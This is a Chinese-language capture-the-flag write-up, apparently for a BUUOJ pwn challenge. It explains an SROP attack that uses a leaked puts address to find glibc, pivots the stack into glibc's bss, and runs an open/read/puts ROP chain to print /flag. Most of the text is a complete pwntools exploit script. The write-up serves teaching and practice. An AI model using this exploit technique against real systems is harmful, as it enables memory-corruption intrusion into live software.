首先检查一下程序的保护机制
然后,我们用IDA分析一下
显然一个signreturn的系统调用,因此可以做SROP。由于开启了PIE,因此,我们不考虑程序的bss段,而是考虑glibc的bss段,因为程序一开始告诉了我们puts函数的地址,我们就可以知道glibc的地址。我们先利用read在glibc的bss段布置下rop,然后栈迁移过去即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * from LibcSearcher import *
context(os='linux',arch='amd64')
sh = remote('node3.buuoj.cn',26187) sh.recvuntil('Here is my gift: ') puts_addr = int(sh.recvuntil('\n',drop = True),16) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') open_addr = libc_base + libc.dump('open') read_addr = libc_base + libc.dump('read') bss = libc_base + 0x00000000003C5720 pop_rdi = libc_base + 0x0000000000021102 pop_rsi = libc_base + 0x00000000000202e8 pop_rdx = libc_base + 0x0000000000001b92 rop_addr = bss + 0x600
frame = SigreturnFrame() frame.rdi = 0 frame.rsi = rop_addr frame.rdx = 0x200 frame.rip = read_addr frame.rsp = rop_addr sh.sendafter('Please input magic message:',str(frame)[8:]) flag_addr = rop_addr + 0x78
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop += p64(pop_rdi) + p64(bss) + p64(puts_addr) rop += '/flag\x00' sleep(0.5) sh.send(rop)
sh.interactive()
|